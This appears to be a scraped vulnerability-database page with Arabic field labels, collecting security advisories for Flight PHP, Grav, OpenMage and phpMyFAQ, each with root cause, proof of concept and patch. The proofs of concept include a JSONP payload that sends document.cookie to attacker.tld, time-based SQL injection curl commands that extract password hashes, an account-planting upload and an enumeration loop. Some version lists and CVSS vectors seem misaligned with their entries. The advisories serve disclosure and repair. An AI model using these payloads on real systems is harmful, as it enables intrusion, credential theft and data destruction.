CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
الوصف الكامل
### Summary `SimplePdo::insert()`, `SimplePdo::update()`, and `SimplePdo::delete()` build SQL statements by concatenating the `$table` argument and the **keys** of the `$data` array directly into the query, with no identifier quoting and no validation. When an application forwards user-controlled data shapes to these helpers — a common and documented pattern, e.g. `$db->insert('users', $request->data->getData())` — an attacker can inject arbitrary SQL by crafting malicious array keys. ### Affected code `flight/database/SimplePdo.php`: ```php // insert (≈ 320-373) $sql = sprintf( "INSERT INTO %s (%s) VALUES (%s)", $table, // raw concat implode(', ', $columns), // raw array_keys($data) implode(', ', $placeholders) ); // update (≈ 397-409) $sets[] = "$column = ?"; // $column = user-controlled key $sql = sprintf( "UPDATE %s SET %s WHERE %s", $table, // raw implode(', ', $sets), $where ); // delete (≈ 427-429) $sql = "DELETE FROM $table WHERE $where"; ``` No identifier-quoting helper exists; neither `$table` nor the data keys are validated against a safe-identifier pattern. ### Proof of concept A controller does: ```php $db->insert('users', $request->data->getData()); ``` The attacker sends the JSON body: ```json {"name, is_admin) VALUES (?, 1);-- ": "attacker_injected"} ``` Generated SQL: ```sql INSERT INTO users (name, is_admin) VALUES (?, 1);-- ) VALUES (?) ``` After the `--` comment, the effective statement `INSERT INTO users (name, is_admin) VALUES (?, 1)` binds the single placeholder `'attacker_injected'`, yielding a row with `is_admin = 1`. Reproduced live on an in-memory sqlite database (`testproj/sqli_live2.php`): ``` id=1 name=alice is_admin=0 id=2 name=attacker_injected is_admin=1 <-- injected insert ``` `UPDATE` injection via the `$where` parameter was also reproduced: `$db->update('users', ['is_admin' => 1], "id = 1 OR 1=1")` flips admin on every row. ### Impact - **Privilege escalation** on any signup / register endpoint that forwards request data to `insert()` (attacker creates an administrative account in a single request). - Arbitrary column write through `update()` keys. - Data destruction and exfiltration through the `$where` parameter (`DELETE FROM users WHERE 1=1`, UNION-based exfil, etc.). ### Patch (fixed in `3.18.1`, commit `b8dd23a`) A new `requireSafeIdentifier()` helper validates table names and column names against `^[A-Za-z_][A-Za-z0-9_]*$` before they are interpolated into the SQL string. The `$where` parameter remains raw SQL as documented — parameterized values passed alongside it continue to be bound safely. ### Credit Discovered by **@Rootingg**.
الإصدارات المتأثرة
v1.0, v1.1, v1.1.10, v1.1.5, v1.2
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
الوصف الكامل
### Summary The `make:controller` CLI command calls `mkdir(..., recursive: true)` on a path built from the user-supplied controller name, **before** Nette's class-name validation runs. The class-file write is correctly rejected by Nette when the name contains `/`, but the recursive directory creation side effect is already committed — including directories located outside the project root through `../` traversal. ### Affected code `flight/commands/ControllerCommand.php` (≈ 63-66): ```php if (is_dir(dirname($controllerPath)) === false) { $io->info('Creating directory ' . dirname($controllerPath), true); mkdir(dirname($controllerPath), 0755, true); // un-normalized, runs before validation } ``` ### Proof of concept ``` $ php vendor/flightphp/runway/runway make:controller '../../../../tmp/CONTROLLER_TRAVERSAL_TEST/pwn' Creating directory .../app/controllers/../../../../tmp/CONTROLLER_TRAVERSAL_TEST Nette\InvalidArgumentException: Value '../../../../tmp/CONTROLLER_TRAVERSAL_TEST/pwnController' is not valid class name. $ ls /home/user/tmp/CONTROLLER_TRAVERSAL_TEST (directory exists — created before the exception was thrown) ``` ### Impact - **Arbitrary directory creation outside the project root**, executable by any local actor that can run the Flight CLI (developer machine, shared CI build agent, compromised dev container). - Primes log-file planting for chained LFI exploitation (e.g. creating a directory where an attacker can later drop a `.php` file to be included via a distinct template-include weakness). - On Windows, the `\` separator opens additional traversal surface. ### Patch (fixed in `3.18.1`, commit `b8dd23a`) The controller name is now normalized with `basename()` and validated against `^[A-Za-z_][A-Za-z0-9_]*$` before any `mkdir` side effect runs. ### Credit Discovered by **@Rootingg**.
الإصدارات المتأثرة
v1.0, v1.1, v1.1.10, v1.1.5, v1.2
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L
الوصف الكامل
### Summary `Flight::jsonp()` concatenates the `?jsonp=` query parameter directly into an `application/javascript` response body without validating that the value is a legal JavaScript identifier. An attacker can inject arbitrary JavaScript that executes in the response origin, enabling reflected cross-site scripting. ### Affected code `flight/Engine.php` (≈ lines 1000-1013): ```php $callback = $this->request()->query[$param]; $this->response() ->status($code) ->header('Content-Type', 'application/javascript; charset=' . $charset) ->write($callback . '(' . $json . ');'); ``` No regex or identifier validation is performed before the callback is written. ### Proof of concept Given any route that calls `Flight::jsonp($data)`: ``` GET /api?jsonp=;window.xss=function(d){fetch('https://attacker.tld/c='+d)};xss(document.cookie);// ``` Reproduced response (`Content-Type: application/javascript`): ``` ;window.xss=function(d){fetch('https://attacker.tld/c='+d)};xss(document.cookie);//({"ok":true,"msg":"hello"}); ``` When the vulnerable endpoint is loaded via `<script src="https://victim.tld/api?jsonp=…">` on a page controlled by the attacker, the injected JavaScript executes in the `victim.tld` origin whenever that page is embedded or visited in a same-origin context — cookie theft and session hijack follow. ### Impact - Reflected XSS in any application calling `Flight::jsonp()`. - Cookie theft / session hijack when JSONP endpoints are referenced from same-origin pages. - Exfiltration of authenticated API responses. ### Patch (fixed in `3.18.1`, commit `b8dd23a`) `_jsonp()` now validates the callback name against `^[A-Za-z_$][\w$.]{0,127}$` before emitting it. An empty callback (no `jsonp` parameter) still behaves as before. ### Credit Discovered by **@Rootingg**.
الإصدارات المتأثرة
v1.0, v1.1, v1.1.10, v1.1.5, v1.2
CVSS Vector
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:N/SC:L/SI:L/SA:N
الوصف الكامل
## Summary In Grav `2.0.0-beta.2`, a low-privileged authenticated API user with `api.media.write` can abuse `/api/v1/blueprint-upload` to write an arbitrary YAML file into `user/accounts/`, then log in as the newly created account with `api.super` privileges. This results in full administrative compromise of the Grav API. ## Details The vulnerability is located in the API plugin's blueprint upload flow: - `user/plugins/api/classes/Api/ApiRouter.php:261` - `user/plugins/api/classes/Api/Controllers/BlueprintUploadController.php:32-45` - `user/plugins/api/classes/Api/Controllers/BlueprintUploadController.php:102-114` - `user/plugins/api/classes/Api/Controllers/BlueprintUploadController.php:271-308` - `user/plugins/api/classes/Api/Controllers/BlueprintUploadController.php:407-417` - `user/plugins/api/classes/Api/Controllers/AuthController.php:41-55` The issue exists because `/api/v1/blueprint-upload` accepts caller-controlled `destination` and `scope` values and uses them to resolve the final filesystem write target. When the request uses: - `destination=self@:` - `scope=users/anything` The server resolves the write target to the shared account directory: ```text user/accounts/ ``` The upload handler then writes the supplied file directly into that directory and does not block YAML account files. Because Grav accepts account YAML files and supports a plaintext `password:` field on first login, an attacker can create a fully functional administrator account with `api.super`. The required attacker privilege is low: ```yaml access: api: access: true media: write: true ``` ## PoC ### Step 1: Authenticate as the low-privileged API user ```http POST /api/v1/auth/token HTTP/1.1 Host: 127.0.0.1:8123 Content-Type: application/json Connection: close {"username":"uploader","password":"Upload123A"} ``` Extract: ```text UPLOADER_TOKEN = <access_token from response> ``` Attachment: <img width="1480" height="825" alt="login-uploader" src="https://github.com/user-attachments/assets/5aeda840-4a37-4365-8e46-caec88066541" /> ### Step 2: Upload a malicious account YAML file ```http POST /api/v1/blueprint-upload HTTP/1.1 Host: 127.0.0.1:8123 X-API-Token: <UPLOADER_TOKEN> Content-Type: multipart/form-data; boundary=----CodexBoundaryF01 Connection: close ------CodexBoundaryF01 Content-Disposition: form-data; name="destination" self@: ------CodexBoundaryF01 Content-Disposition: form-data; name="scope" users/anything ------CodexBoundaryF01 Content-Disposition: form-data; name="file"; filename="pwned.yaml" Content-Type: text/yaml email: attacker@example.com fullname: attacker title: Site Administrator state: enabled password: Passw0rd!123 access: site: login: true api: super: true ------CodexBoundaryF01-- ``` Expected result: ```json { "data": [ { "name": "pwned.yaml", "path": "user/accounts/pwned.yaml" } ] } ``` Attachment: <img width="1484" height="797" alt="upload" src="https://github.com/user-attachments/assets/0b24c03f-cac5-4b4d-840c-52ac0840969f" /> ### Step 3: Log in as the newly created account ```http POST /api/v1/auth/token HTTP/1.1 Host: 127.0.0.1:8123 Content-Type: application/json Connection: close {"username":"pwned","password":"Passw0rd!123"} ``` Expected result: ```json { "data": { "user": { "username": "pwned", "super_admin": true } } } ``` Attachment: <img width="1494" height="830" alt="pwned-login" src="https://github.com/user-attachments/assets/7a1ab7fc-d3fb-4077-9b61-09cd947241fe" /> ### Step 4: Verify privileged API access ```http GET /api/v1/system/info HTTP/1.1 Host: 127.0.0.1:8123 X-API-Token: <PWNED_TOKEN> Connection: close ``` Expected result: The request succeeds and returns system-level information. Attachment: <img width="1480" height="831" alt="system-info" src="https://github.com/user-attachments/assets/31677d61-3dbd-4ea6-9fbe-80799a628cc2" /> ## Impact This is an authenticated vertical privilege-escalation vulnerability. Any API user with basic media upload capability can escalate directly to a full API super administrator by planting a new account YAML file. Once `api.super` access is obtained, the attacker gains full control over the CMS management API and can: - modify content - alter configuration - manage users - install or update plugins/themes - access system-level administration features In a real deployment, this level of control is sufficient for complete CMS compromise and may be chained into server-side code execution depending on enabled plugins, writable template paths, or package-management workflow. This issue was reproduced locally: - the upload response returned `user/accounts/pwned.yaml` - logging in as `pwned` succeeded - the new account had `super_admin = true` - privileged endpoints such as `/api/v1/system/info` were accessible
الإصدارات المتأثرة
All versions < 0.8.0, 0.9.0, 0.9.1, 0.9.10, 0.9.11
CVSS Vector
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
الوصف الكامل
A reflected XSS vulnerability was found under admin panel -> System -> Import/Export -> Dataflow - Profiles. ## Steps to produce + Login to the admin panel + Go to the path `System -> Import/Export -> Dataflow - Profiles` + Select profile direction as `Import`. + Click on `Import Customers` + Upload the file. File Link: [customer_20260212_204335.csv](https://github.com/user-attachments/files/25629638/customer_20260212_204335.csv) + Go back to `Run profile`. + Select the uploaded file and Click on `Run in Popup`. + One can see a URL like this ``` https://demo-admin.openmage.org/index.php/admin/system_convert_gui/run/id/6/key/40dbbb2e93f45f0463c57ff733352f4f/files/import-20260215151125-1_customer_20260212_204335.csv/ ``` + One can see the filename getting reflection in HTML tags. + Inject an HTML tag and observe. ``` https://demo-admin.openmage.org/index.php/admin/system_convert_gui/run/id/6/key/40dbbb2e93f45f0463c57ff733352f4f/files/"><h3>hacked</h3>/ ``` <img width="1796" height="302" alt="image (3)" src="https://github.com/user-attachments/assets/502330b0-fa73-4b90-a81f-6216a98e474a" /> + One can see the tag is getting executed. + Proceed for XSS. ``` https://demo-admin.openmage.org/index.php/admin/system_convert_gui/run/id/6/key/40dbbb2e93f45f0463c57ff733352f4f/files/%3CScRiPt%20%3Eprompt(document.cookie)%3C%2FScRiPt%3E ``` <img width="1670" height="562" alt="image (4)" src="https://github.com/user-attachments/assets/98a75081-fa8c-4483-9078-0ab5e7e14e4d" /> + There is an XSS popup. ## Impact Cookie stealing, JS deface, many more
الإصدارات المتأثرة
1.9.1.1, 1.9.2.0, 1.9.2.1, 1.9.2.2, 1.9.2.3
CVSS Vector
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N
الوصف الكامل
### Impact Responses from the forgot password forms hinted at whether an account existed for a given email address. An unauthenticated attacker could use this to enumerate valid users, which can aid in follow-up credential-based attacks. ### Patches This has been fixed in 5.73.21 and 6.15.0. The forgot password forms now return the same generic response regardless of whether the submitted email matches a registered user.
الإصدارات المتأثرة
v3.0.0, v3.0.0-beta.1, v3.0.0-beta.10, v3.0.0-beta.11, v3.0.0-beta.12
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
الوصف الكامل
## Summary `BuiltinCaptcha::garbageCollector()` and `BuiltinCaptcha::saveCaptcha()` at `phpmyfaq/src/phpMyFAQ/Captcha/BuiltinCaptcha.php:298` and `:330` interpolate the `User-Agent` header and client IP address into DELETE and INSERT queries with `sprintf` and no escaping. Both methods run on every hit to the public `GET /api/captcha` endpoint, which requires no authentication. An unauthenticated attacker sets the `User-Agent` header to a crafted SQL payload and runs `SLEEP()`, `BENCHMARK()`, or time-based blind extraction against the database that backs phpMyFAQ. Verified live against 4.2.0-alpha (master at `b9f25109`): baseline request 147 ms, request with `User-Agent: x' OR SLEEP(2) OR 'x` 4.09 s (two `SLEEP(2)` calls, one per vulnerable sink). ## Details `phpmyfaq/src/phpMyFAQ/Captcha/BuiltinCaptcha.php:112` populates two private fields from untrusted HTTP input at construction time: ```php $this->userAgent = $request->headers->get('user-agent'); $this->ip = $request->getClientIp(); ``` Both fields are then dropped into `sprintf()` SQL templates without ever touching `Database::escape()` or a prepared statement. `garbageCollector()` at line 298 (called on every captcha request via `getCaptchaImage()`): ```php $delete = sprintf( " DELETE FROM %sfaqcaptcha WHERE useragent = '%s' AND language = '%s' AND ip = '%s'", Database::getTablePrefix(), $this->userAgent, // unescaped $this->configuration->getLanguage()->getLanguage(), $this->ip, // unescaped ); $this->configuration->getDb()->query($delete); ``` `saveCaptcha()` at line 330 does the same for INSERT: ```php $insert = sprintf( "INSERT INTO %sfaqcaptcha (id, useragent, language, ip, captcha_time) VALUES ('%s', '%s', '%s', '%s', %d)", Database::getTablePrefix(), $this->code, $this->userAgent, // unescaped $this->configuration->getLanguage()->getLanguage(), $this->ip, // unescaped $this->timestamp, ); $this->configuration->getDb()->query($insert); ``` For comparison, the same file's `checkCaptchaCode()` at line 472 passes user input through `$db->escape()` before interpolation. The `BuiltinCaptcha` author knew about `escape()`; the two sinks above skip it. ### Reachability `phpmyfaq/src/phpMyFAQ/Controller/Frontend/Api/CaptchaController.php:39` exposes the vulnerable flow as an unauthenticated GET: ```php #[Route(path: 'captcha', name: 'api.private.captcha', methods: ['GET'])] public function renderImage(): Response { if (!$this->captcha instanceof BuiltinCaptcha) { return new Response('', Response::HTTP_NOT_FOUND); } // ... $response->setContent($this->captcha->getCaptchaImage()); return $response; } ``` `getCaptchaImage()` calls `saveCaptcha()` and `garbageCollector()` unconditionally. No CSRF token, session, or rate limit gates the request. Any unauthenticated user hitting `GET /api/captcha` injects into two queries at once. ### Impact surface MySQL's `query()` method executes one statement per call, so the attacker cannot stack queries. Time-based blind extraction with `SLEEP()` or `BENCHMARK()` still works, and the attacker can: - Read any row the web user has access to through bit-by-bit `IF(SUBSTR((SELECT ...),1,1)='a', SLEEP(1), 0)` chains. The `faquser` table holds `auth_source`, `login`, and bcrypt password hashes for every registered user; `faqconfig` holds the `main.phpMyFAQToken` admin token and SMTP credentials. - `UPDATE` / `DELETE` arbitrary rows in the same connection's privilege scope using payloads that rewrite the DELETE's WHERE clause (for example, `User-Agent: ' OR 1=1 -- ` deletes the entire `faqcaptcha` table and locks out legitimate users). ## Proof of Concept Tested against phpMyFAQ 4.2.0-alpha at master `b9f25109fddb38eee19987183798638d07943f92`, default install (MariaDB 10.6, Apache, PHP 8.4) on `http://target:8090`. Step 1: Baseline request with a clean `User-Agent`: ```bash time curl -sS -o /dev/null -w "HTTP %{http_code} %{time_total}s\n" \ -A "Mozilla/5.0" \ "http://target:8090/api/captcha?nocache=1" # HTTP 500 0.147s ``` Step 2: Injection with `SLEEP(2)` in the User-Agent: ```bash time curl -sS -o /dev/null -w "HTTP %{http_code} %{time_total}s\n" \ -A "x' OR SLEEP(2) OR 'x" \ "http://target:8090/api/captcha?nocache=2" # HTTP 500 4.093s ``` The 4.09 s response time equals two `SLEEP(2)` executions, confirming the payload reached both the `DELETE` in `garbageCollector()` and the `INSERT` in `saveCaptcha()`. Step 3: Single-bit boolean extraction using time: ```bash # leaks first character of the admin hash; 2s = 'a', 0s = otherwise curl -sS -o /dev/null -A "x' OR IF(SUBSTR((SELECT pass FROM faquser LIMIT 1),1,1)='a',SLEEP(2),0) OR 'x" \ "http://target:8090/api/captcha?nocache=3" ``` Iterating position and character enables full credential exfiltration without any authentication. ## Impact Unauthenticated remote SQL injection against the primary phpMyFAQ datastore. In a default install the attacker reads every user credential hash, the admin token, SMTP credentials stored in `faqconfig`, and every FAQ row (including ones marked private or permission-scoped). DELETE-path payloads also tamper with or wipe arbitrary rows in the connection's scope. There is no authentication, CSRF token, or rate limit in front of `/api/captcha`. ## Recommended Fix Route both fields through `Database::escape()` before interpolation, or replace the `sprintf` + `query()` pattern with a prepared statement. `phpmyfaq/src/phpMyFAQ/Captcha/BuiltinCaptcha.php:298-325`: ```php $db = $this->configuration->getDb(); $userAgent = $db->escape($this->userAgent); $language = $db->escape($this->configuration->getLanguage()->getLanguage()); $ip = $db->escape($this->ip); $delete = sprintf( "DELETE FROM %sfaqcaptcha WHERE useragent = '%s' AND language = '%s' AND ip = '%s'", Database::getTablePrefix(), $userAgent, $language, $ip, ); $db->query($delete); ``` Apply the same change to `saveCaptcha()` at line 330 and to every other `sprintf`-into-SQL path in the file. A targeted audit for `sprintf.*SQL|sprintf.*SELECT|sprintf.*INSERT|sprintf.*UPDATE|sprintf.*DELETE` across `src/phpMyFAQ/` will surface the rest. --- *Found by [aisafe.io](https://aisafe.io)*
الإصدارات المتأثرة
2.10.0-alpha, 2.8.0, 2.8.0-RC, 2.8.0-RC2, 2.8.0-RC3
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
الوصف الكامل
## Summary `Client::deleteClientFolder()` in `phpmyfaq/src/phpMyFAQ/Instance/Client.php:583` takes a URL from the caller, strips the `https://` prefix, and passes the remainder to `Filesystem::deleteDirectory()` relative to the multisite `clientFolder`. No path-traversal validation runs. An admin with the `INSTANCE_DELETE` permission (a role short of SUPER_ADMIN) submits `https://../../../<path>` as the client URL and the server recursively deletes arbitrary directories under the web user's rights. Same pattern and reachability as GHSA-38m8-xrfj-v38x, which the project accepted at High severity three weeks earlier. ## Details `phpmyfaq/src/phpMyFAQ/Instance/Client.php:583-591`: ```php public function deleteClientFolder(string $sourceUrl): bool { if (!$this->isMultiSiteWriteable()) { return false; } $sourcePath = str_replace(search: 'https://', replace: '', subject: $sourceUrl); return $this->filesystem->deleteDirectory($this->clientFolder . $sourcePath); } ``` `str_replace` strips the scheme but does nothing about `../` segments. The concatenation `$this->clientFolder . $sourcePath` directly feeds the filesystem call, which traverses above `clientFolder` without complaint. Callers feed the URL from the HTTP request body: `phpmyfaq/src/phpMyFAQ/Controller/Administration/Api/InstanceController.php:184`: ```php if (1 !== $instanceId && $client->deleteClientFolder($clientData->url) && $client->delete($instanceId)) { ``` `$clientData->url` comes from `json_decode($request->getContent())`. The route is `admin.api.instance.delete`, gated by `INSTANCE_DELETE`. The controller does not validate the URL against a scheme list or canonicalize the path before handing it to `deleteClientFolder()`. `InstanceController.php:144` (edit path) and `Controller/Administration/InstanceController.php:151` (form path) both reach the same sink through different entry points. ### Precedent GHSA-38m8-xrfj-v38x (2026-03-31) disclosed the identical bug class in `MediaBrowserController::index()`: an admin-gated API endpoint concatenates a user-supplied filename to a base directory without traversal validation. phpMyFAQ accepted that report at High severity. The present finding is the same root cause in a different controller; the project's INSTANCE_ADD / INSTANCE_DELETE permission is a granular admin right, not SUPER_ADMIN, so a lower-tier admin can reach the sink. ## Proof of Concept Prerequisites: a phpMyFAQ 4.2.x instance with the multisite subsystem bootstrapped (there must be a non-primary instance present for the delete controller branch to fire). Alice is an admin with `INSTANCE_ADD` and `INSTANCE_DELETE` rights, no `SUPER_ADMIN` flag. Step 1: Alice authenticates and retrieves the CSRF token for the instance admin page. Step 2: Alice creates an instance whose `url` encodes a traversal payload. The create path at `InstanceController.php:144` already concatenates to the clientFolder through the same `deleteClientFolder(`'https://' . $hostname`)` call: ```bash curl -sS -b "$ALICE_COOKIE" -X POST "$BASE/admin/api/instance" \ -H "Content-Type: application/json" -H "x-csrf-token: $CSRF" \ -d '{"url":"https://../../../tmp/pmf-poc/","instance":"poc","comment":"poc","email":"a@b","admin":"alice","password":"poc1234!"}' ``` Step 3: Alice deletes the instance. The request body names the instance id to delete; the controller hands `clientData->url` directly to `deleteClientFolder`: ```bash curl -sS -b "$ALICE_COOKIE" -X POST "$BASE/admin/api/instance/2" \ -H "Content-Type: application/json" -H "x-csrf-token: $CSRF" \ -d '{"url":"https://../../../tmp/pmf-poc/"}' ``` The server computes `$sourcePath = '../../../tmp/pmf-poc/'`, concatenates to `<clientFolder>/`, and recursively deletes the resulting path. Live verification was not attempted against the test instance because the INSTANCE_DELETE path requires the multisite/ subsystem to be bootstrapped with at least one non-primary instance; see `InstanceController.php:184`. The code path is unambiguous and the precedent GHSA confirmed the same admin gating was considered in-scope. ## Impact Any phpMyFAQ admin holding `INSTANCE_ADD` + `INSTANCE_DELETE` but not SUPER_ADMIN can delete arbitrary directories writable by the PHP process. Outcomes: - Destroy other tenants' data on a shared multisite deployment by traversing above the `clientFolder` into peer directories. - Delete phpMyFAQ's own `content/`, `config/`, or cache directories and lock the install out. - On a hosted deployment, overwrite or delete files anywhere under the web user's reach, including customer uploads outside phpMyFAQ. phpMyFAQ's permission model gives `INSTANCE_ADD` / `INSTANCE_DELETE` as a role that a hosting operator may delegate to a subordinate admin without granting SUPER_ADMIN. That delegation is now a direct path-traversal-delete primitive. ## Recommended Fix Canonicalize and validate the URL before forming the filesystem path. `phpmyfaq/src/phpMyFAQ/Instance/Client.php:583`: ```php public function deleteClientFolder(string $sourceUrl): bool { if (!$this->isMultiSiteWriteable()) { return false; } $parsed = parse_url($sourceUrl); if (!is_array($parsed) || !isset($parsed['host']) || ($parsed['scheme'] ?? '') !== 'https') { return false; } $host = $parsed['host']; if (!preg_match('/^[a-z0-9][a-z0-9.-]*$/i', $host)) { return false; } $target = realpath($this->clientFolder . $host); $root = realpath($this->clientFolder); if ($target === false || $root === false || !str_starts_with($target, $root . DIRECTORY_SEPARATOR)) { return false; } return $this->filesystem->deleteDirectory($target); } ``` `parse_url` rejects malformed inputs, the regex pins the host to valid DNS characters (no `/`, no `..`), and the `realpath` check ensures the resolved target lives under `clientFolder`. Apply the same canonicalization at the controller layer (`InstanceController::add`, `::update`, `::delete`) so the URL is validated before every call that touches the filesystem. --- *Found by [aisafe.io](https://aisafe.io)*
الإصدارات المتأثرة
2.10.0-alpha, 2.8.0, 2.8.0-RC, 2.8.0-RC2, 2.8.0-RC3
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:H/A:H
الوصف الكامل
## Summary The public `/solution_id_{id}.html` route calls `Faq::getIdFromSolutionId()` in `phpmyfaq/src/phpMyFAQ/Faq.php:1312`. That query joins `faqdata` with `faqcategoryrelations` solely by `solution_id` and returns the matching FAQ's `id`, `lang`, `thema` (title), and `category_id` with no permission filter. An unauthenticated visitor hits the route with a sequential integer and the server 301-redirects to `/content/<category>/<id>/<lang>/<title-slug>.html`, leaking the FAQ's existence, internal id, language, category binding, and title via the redirect's `Location` header and the redirected page's canonical link, share-to-social URLs, and hidden form fields. The related `getFaqBySolutionId()` at line 1221 contains an explicit fallback query (added "for tests") that also bypasses the permission filter, widening the blast radius to any callsite that trusts its result. ## Details ### The sink: `getIdFromSolutionId()` has no permission filter `phpmyfaq/src/phpMyFAQ/Faq.php:1312`: ```php public function getIdFromSolutionId(int $solutionId): array { $query = sprintf( 'SELECT fd.id, fd.lang, fd.thema AS question, fd.content, fcr.category_id FROM %sfaqdata fd LEFT JOIN %sfaqcategoryrelations fcr ON fd.id = fcr.record_id AND fd.lang = fcr.record_lang WHERE fd.solution_id = %d', Database::getTablePrefix(), Database::getTablePrefix(), $solutionId, ); // ... } ``` No `WHERE`-clause permission filter, no group/user filter. Every callsite that trusts this method exposes restricted FAQs. The route at `phpmyfaq/src/phpMyFAQ/Controller/Frontend/FaqController.php:172` uses this result to compute a slugified URL and 301-redirects to it: ```php #[Route(path: '/solution_id_{solutionId}.html', name: 'public.faq.solution', methods: ['GET'])] public function solution(Request $request): Response { $solutionId = Filter::filterVar($request->attributes->get('solutionId'), FILTER_VALIDATE_INT, 0); // ... $faqData = $this->faq->getIdFromSolutionId($solutionId); if ($faqData === []) { return new Response('', Response::HTTP_NOT_FOUND); } $slug = TitleSlugifier::slug($faqData['question']); $url = sprintf('/content/%d/%d/%s/%s.html', $faqData['category_id'], $faqData['id'], $faqData['lang'], $slug); return new RedirectResponse($url, Response::HTTP_MOVED_PERMANENTLY); } ``` The redirect URL embeds the title slug, so an unauthenticated visitor observes the title directly even though the canonical `/content/<...>.html` page may deny rendering the body. ### Related sink: `getFaqBySolutionId()` explicitly falls back without the filter `phpmyfaq/src/phpMyFAQ/Faq.php:1256-1265`: ```php if (false === $row || null === $row) { // Fallback without permission filter to ensure retrieval in non-authenticated contexts (e.g., tests) $fallbackQuery = sprintf( 'SELECT * FROM %sfaqdata fd WHERE fd.solution_id = %d LIMIT 1', Database::getTablePrefix(), $solutionId, ); $fallbackResult = $this->configuration->getDb()->query($fallbackQuery); $row = $this->configuration->getDb()->fetchObject($fallbackResult); } ``` The inline comment confirms the fallback was introduced for test convenience. In production, the fallback fires exactly when the permission-filtered query returns zero rows (because the caller is unauthenticated or lacks group/user permission) and populates every field of `faqRecord`, including `content`, `keywords`, `author`, `email`, and `notes`. Downstream consumers that expect `faqRecord` to respect ACLs no longer do. ### Entry enumeration Solution IDs are monotonically increasing integers (`faqdata.solution_id`). An attacker enumerates `/solution_id_<n>.html` from 1 upward and records every non-404 response to discover the full set of FAQs on the instance, including ones restricted to admin-only groups or specific users. ## Proof of Concept Prerequisites: a phpMyFAQ instance has at least one FAQ record restricted to a specific user or group via `faqdata_user` / `faqdata_group`. Note its `solution_id`, which is assigned sequentially starting from a six-digit base. Step 1. Anonymous GET of the solution URL: ```bash curl -sS -L -o /tmp/out.html -w 'HTTP %{http_code}\n' \ 'http://<host>/solution_id_<restricted-solution-id>.html' ``` Step 2. Observe the 301 redirect that `getIdFromSolutionId()` returns. The `Location` header carries the slugified title of the restricted FAQ directly in the URL path: ``` HTTP/1.1 301 Moved Permanently Location: /content/<category-id>/<record-id>/<lang>/<title-slug>.html ``` Step 3. The redirected content page embeds the same metadata in client-controlled sinks, even when the body rendering is suppressed by a separate permission check: ```html <link rel="canonical" href="http://<host>/content/<category-id>/<record-id>/<lang>/<title-slug>.html"> <input type="hidden" name="voting-id" value="<record-id>"> <a href="http://<host>/pdf/<category-id>/<record-id>/<lang>">...</a> ``` Step 4. Enumerate solution IDs to discover every FAQ on the instance, including those the permission model intended to hide: ```bash for id in $(seq 1 100000); do code=$(curl -sS -o /dev/null -w '%{http_code}' "http://<host>/solution_id_${id}.html") if [ "$code" = "301" ]; then loc=$(curl -sSI "http://<host>/solution_id_${id}.html" | awk -F': ' '/^Location:/{print $2}' | tr -d '\r') echo "solution_id=${id} -> ${loc}" fi done ``` Each `301` response's `Location` header reveals category, id, language, and title of a FAQ whose existence the permission model meant to hide. ## Impact Any unauthenticated visitor discovers the full set of FAQ entries on the instance, including the subset restricted to specific groups or users, and reads the title of every restricted FAQ. Deployments that use phpMyFAQ to host internal-only content alongside public content (staff knowledge bases, internal SOPs, confidential customer notes) lose the confidentiality of titles and of the fact that those FAQs exist. Slugified titles often encode the subject directly (for example `q3-layoff-plan`, `aws-root-key-rotation`), so the title alone can be sensitive. The body content is usually still served through a separate permission-enforcing path on the canonical `/content/<...>.html` URL, so full-body disclosure requires the caller to also defeat that path (for example by combining with a session from any low-privilege account). The title-plus-existence leak is sufficient on its own to harm confidentiality in deployments where titles encode what the FAQ is about. `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N` (Medium, 5.3). CWE-863. ## Recommended Fix Add a permission filter to `getIdFromSolutionId()` the same way `getFaqBySolutionId()` builds one for its primary query (using `QueryHelper::queryPermission()`): ```php public function getIdFromSolutionId(int $solutionId): array { $queryHelper = new QueryHelper($this->user, $this->groups); $query = sprintf( 'SELECT fd.id, fd.lang, fd.thema AS question, fd.content, fcr.category_id FROM %sfaqdata fd LEFT JOIN %sfaqcategoryrelations fcr ON fd.id = fcr.record_id AND fd.lang = fcr.record_lang LEFT JOIN ( SELECT record_id, group_id FROM %sfaqdata_group fdg WHERE fdg.group_id <> -1 UNION ALL SELECT fd.id AS record_id, -1 AS group_id FROM %sfaqdata fd WHERE fd.solution_id = %d ) AS fdg ON fd.id = fdg.record_id LEFT JOIN %sfaqdata_user fdu ON fd.id = fdu.record_id WHERE fd.solution_id = %d %s', Database::getTablePrefix(), Database::getTablePrefix(), Database::getTablePrefix(), Database::getTablePrefix(), $solutionId, Database::getTablePrefix(), $solutionId, $queryHelper->queryPermission($this->groupSupport), ); // ... } ``` Separately, remove the unconditional fallback in `getFaqBySolutionId()` at `Faq.php:1256-1265`. If the permission-filtered query returns no rows, the FAQ is not visible to this caller; the method should leave `faqRecord` empty rather than re-query without the filter. If tests rely on the old behavior, replace the production fallback with a dedicated test helper or a flag that is disabled outside test bootstrap. --- *Found by [aisafe.io](https://aisafe.io)*
الإصدارات المتأثرة
2.10.0-alpha, 2.8.0, 2.8.0-RC, 2.8.0-RC2, 2.8.0-RC3
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
الوصف الكامل
